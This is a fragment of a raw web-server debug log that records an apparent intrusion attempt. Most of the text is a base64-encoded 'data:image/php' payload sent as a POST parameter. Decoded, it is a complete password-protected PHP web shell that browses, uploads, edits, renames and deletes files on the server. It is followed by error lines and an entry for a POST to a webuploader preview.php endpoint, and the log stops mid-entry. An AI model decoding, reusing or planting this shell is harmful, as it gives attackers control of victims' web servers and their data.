'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:08+08:00 ] 116.213.36.234 POST www.51tianwei.com/source/plugin/iscwo_kaifu/webuploader/0.1.5/server/preview.php [运行时间:0.002529s] [吞吐率:395.43req/s] [内存消耗:196.83kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'source', 2 => 'plugin', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 